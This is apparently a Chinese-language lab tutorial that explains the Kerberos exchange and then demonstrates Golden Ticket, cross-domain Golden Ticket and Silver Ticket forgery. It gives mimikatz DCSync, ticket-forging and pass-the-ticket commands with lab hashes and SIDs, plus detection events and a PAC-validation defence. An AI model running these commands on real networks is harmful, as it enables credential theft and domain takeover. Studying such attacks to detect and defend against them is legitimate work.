Kerberos协议(详细)
)
Client → KDC_AS
- 客户端账号Admin首先将密码利用散列运算转换成NTLM散列
Key-Client
- 利用Key-Client将当前时间戳进行加密,生成一个字符串
Key-Client{Stamp}
- 将生成的字符串、Admin的信息
Info(A)
以及一段随机字符串nonce
发送给KDC_AS(身份验证服务),这就构成了AS-REQ
请求
【注】:加密时间戳可以在一定程度上抵抗重放攻击
公式:
1 | AS-REQ = Key-Client{Stamp} + Info(A) + nonce |
数据包:
KDC_AS → Client
- KDC收到AS-REQ之后,得到Admin的账号信息,然后在AD中查询出密码用同样的运算得到
Key-Client
- 利用Key-Client解密字符串Key-Client{Stamp},如果成功解密,说明该请求确实是A账户发出的,于是完成了对Client的认证
- 然后KDC用Key-Client对AS-REQ请求中的随机字符串nonce进行加密,账户A拿到密文之后,假如成功解密,说明该回应确实是KDC返回的
- KDC生成两个同样的密钥
Key-Client-KDC
,用作以后账户A和KDC之间相互的认证。但是KDC为了减少负担,这两个密钥都是由账户A进行保管。同样的,KDC利用散列运算将krbtgt密码生成一个散列值Key-KDC
,然后利用此加密账户A的相关信息和一个密钥得到票据TGT
,最后汇总返回给账户A的AS-REP
【注】:利用这个委托机制,KDC只需要自己的Key-KDC就可以解开委托给所有账号的TGT,从而获得与该账号进行通信的密钥Key-Client-KDC,这样极大地减轻了KDC的负担
公式:
1 | TGT = Key-KDC{Info(A) + Key-Client-KDC} |
数据包:
Client → KDC_TGS
- 客户端收到返回的AS-REP之后,利用自己的Key-Client解密密文得到随机字符串和时间戳来验证KDC的身份
- 然后将要访问的资源B的信息
Info(B)
、自身的信息以及TGT发送给KDC_TGS,构成TGS-REQ
请求
公式:
1 | TGS-REQ = TGT + Key-Client-KDC{Info(A)、时间戳} + Info(B) |
数据包:
KDC_TGS → Client
- TGS收到请求后,先使用自己的Key-KDC解密TGT得到Key-Client-KDC,再使用此解密密文得到账号A的信息和时间戳来验证其身份,验证通过后就帮助A和B进行认证
- TGS生成同样的两个密钥作为A和B之间进行通信使用
Key-Client-Server
,一个密钥直接交给账号A,另一个密钥委托A转交给资源服务器B。为了确保密钥的安全性,TGS同样把B的密码散列成Key-Server
,然后用此加密账号A的信息和密钥生成Ticket
,最后汇总返回给账户A的TGS-REP
公式:
1 | Ticket = Key-Server{Info(A) + Key-Client-Server} |
数据包:
Client → Server
- 账户A收到响应之后,首先使自己的Key-Client-KDC解开密文得到与服务器通信的Key-Client-Server,Ticket保存下来发送给Server B。假如接下来需要多次访问资源B,都可以使用同一个Ticket,而不需要每一次向KDC申请,这样极大的减轻了KDC的负担
- 账户A用Key-Client-Server加密自己的信息和时间戳以及Ticket发送给Server B,构成了
AP-REQ
公式:
1 | AP-REQ = Ticket + Key-Client-Server{ Info(A) + 时间戳 } |
Server → Client
- 资源B收到AP-REQ,如果B为假的,那么无法解密Ticket;如果B是真的,就用自己的密码生成
Key-Server
用来解密Ticket,从而得到Key-Client-Server和A的信息以及时间戳 - 利用Key-Client-Server解开密文拿到A的信息和时间戳,将其与Ticket中得到的信息进行对比,如果一致,就发送
AP-REP
向账户A表明验证通过
最后账户A通过解密AP-REP得到的时间戳来判断对方是否为真。
公式:
1 | AP-REP = Key-Client-Server{时间戳} |
Golden Ticket
简述
在拥有普通域用户权限和Krbtgt账号的hash的情况下,获取域管理员权限。
发生在KDC_AS → Client
过程,可以伪造TGT,宣称自己是域内任何账号(包括域管或者不存在的用户)
原理
Kerberos信任及完全依赖于KDC密码,TGS和AS并未记录以前的交互信息,所以该协议是无状态的。TGT是使用Krbtgt的密钥加密票据授予服务所需使用的全部信息,况且只有KDC才能解密TGT,所以Krbtgt的散列值成为域中最重要的密码。TGS对用户的认证过程中,只要能够成功解密TGT就会认为用户是可信的。
综上缺陷,如果攻击者得到Krbtgt的散列值,就能够生成任意的TGT
特点
- 内存中插入Golden Ticket不需要提升权限,默认情况下黄金票据的有效期是十年
- 黄金票据可以用来绕过当前Kerberos有关加密策略的要求,例如可以使用DES或者RC4加密算法创建一个TGT(即使该域明确支持AES,禁止使用DES或者RC4),这时候TGT使用DES加密而服务票据使用AES加密,TGS也不会报错,因为没有机制去报告
- 黄金票据并没有启用任何高级账户策略的设置。微软添加了一个功能来验证服务票据的请求以确保已禁用的TGT不能用于获取服务票据,然而该功能的实现存在问题。只有当TGT的寿命超过20分钟时,TGS才会验证TGT的有效性;寿命低于20分钟,TGS会直接颁发服务票据,而不去验证,默认情况下服务票据有十小时的有效期。所以攻击者只需清除旧的TGT,然后利用Mimikatz生成寿命少于20分钟的新TGT即可。
- 黄金票据可以被配置成任意用户和任意组的成员。这个可以绕过文件服务器或其他应用程序上基于用户组的访问限制,黄金票据中的用户和SID不必再AD中真实存在,也就意味着可以为域中不存在的用户创建TGT,并仍可以在TGT生命周期内前20分钟内从TGS获得服务票据
- krbtgt的NTLM hash不会轻易改变,即使修改域控管理员密码
条件
- Krbtgt账户的NTML-Hash
1 | # DCSync是一个mimikatz功能,它将尝试模拟域控制器并从目标域控制器请求帐户密码信息。这种技术噪音较小,因为它不需要直接访问域控制器或通过网络检索NTDS.DIT文件。 |
- 域账户名称
- 域名
- 域SID
1 | whoami /user #前面是域SID,最后一个才是用户SID |
实现
环境
- 域控server12.yoga.com 192.168.114.135
- 域机器win7.yoga.com 192.168.114.130
信息
- 导出krbtgt的hash
1 | mimikatz log "lsadump::dcsync /domain:yoga.com /user:krbtgt" |
拿到信息
1 | /domain:yoga.com |
生成golden ticket不仅可以使用ntlm hash,也能用aes256
工具
- Mimikatz
(1) 伪造god用户生成kirbi文件
1 | # 利用ntlm hash |
(2) 导入kirbi文件
1 | kerberos::ptt god.kirbi |
然后就能登录上域控
或者直接导入内存
1 | # ntlm |
使用PsExec.exe可以直接进行shell访问
1 | PsExec.exe \\server12.yoga.com\ cmd.exe |
【注】:直接使用ip访问也是不行,必须得使用hostname
流量对比
TGS-REQ
TGS-REP
- Metasploit (本地测试失败)
1 | # 直接用模块 |
检测
事件4768是”TGT授予”,事件4769是”已授予AD中某些服务进行身份验证所需的Server Ticket”
检测获得的TGT和TGS有所不同,那么就能判断出正在受到Golden Ticket攻击。
EnhancedGolden Tickets
普通金票据的局限性
利用Krbtgt的NTLM Hash值生成的黄金票据能够获取域控权限和域内其他主机的任何服务,但是使用范围被限制在当前域中,无法跨域使用,包括子域对父域的跨域
原因
在生成golden票据的时候,/sid指定的是子域的sid,mimikatz拿到sid后会在尾部拼接RID号,EnterpriseAdmins用户组只存在于根域域控中,所以构造的SID在整个域林中都是不存在的,也就是无法跨域和访问其他域的资源
解决办法
通过域内主机在迁移时LDAP库中的SIDHistory属性中保存的上一个域的SID值制作加强版的黄金票据
1 | mimikatz "kerberos::golden /domain:yoga.com /sid:子域SID /sids:根域SID /krbtgt:da14705daf4edbbf31e8f8ced39a8d32 /user:god /ticket:god.kirbi" |
Silver Ticket
简述
发生在Client → Server
阶段,伪造TGS生成的Ticket(Server Ticket)。当获取需要访问的目标服务器NTLM Hash之后,就可以利用mimikatz去伪造一个Ticket,然后直接去访问目标服务器。
原理
Server Ticket是TGS用远程服务器的NTLM Hash
加密和签名得到的,而且服务器对用户认过程中,只要能够解密Server Ticket就会认为用户时可信的
特点
- 白银票据极限与特定服务器上的任何服务
- 任何事件日志都在目标服务器上
- 大多数服务不验证PAC,因此使用服务账户密码哈希生成有效的Ticket可以完全伪造PAC
- 因为在TGT已经在PAC里限定了给Client授权的服务(通过SID的值),所以银票只能访问指定服务
服务类型 | 服务名 |
---|---|
WMI | HOST、RPCSS |
WinRM | HOST 、HTTP |
Powershell Remoteing | HOST、HTTP |
Scheduled Tasks | HOST |
LDAP、DCSync | LDAP |
Windows File Share(CIFS) | CIFS |
Windows Remote ServerAdministration Tools | RPCSS、LDAP、CIFS |
- 白银票据的默认组
- Domain Users SID:S-1-5-21-…..-513
- Domain Admins SID:S-1-5-21-……-512
- Schema Admins SID:S-1-5-21-….-518
- Enterprise Admins SID:S-1-5-21-……-519 (只存在于一个林中的根域中,这个组的成员是域中的Administrator,对域有完全管理控制权)
- Group Policy Creator Owners SID:S-1-5-21-…..-520
条件
- 域名称
- 域的SID值
- 域的服务账户的密码Hash(如果是域控的话就是DC$)
- 服务名
- 伪造的用户名,可以是任意用户名
实现
环境
- 域控server12.yoga.com
- 192.168.114.135
- 域内主机win7.yoga.com (Client端)
- 192.168.114.130
信息
1 | SERVER12$ (共享服务的密钥) |
attack
1 | kerberos::golden /user:silver /domain:yoga.com /sid:S-1-5-21-2797208140-1070320520-4280831705 /target:server12.yoga.com /rc4:4892039871ddd1307ae864a77bf6ce25 /service:cifs /ptt |
防御
开启PAC特权属性证书保护功能,PAC主要是规定服务器将票据发送给Kerberos服务,由此进行验证票据的有效性
开启方式:
1 | HKEY_LOCAL_MACHINE\SYSTEM \ CurrentControlSet\Control\Lsa\Kerberos\Parameters |
中的ValidateKdcPacSignature
设置为1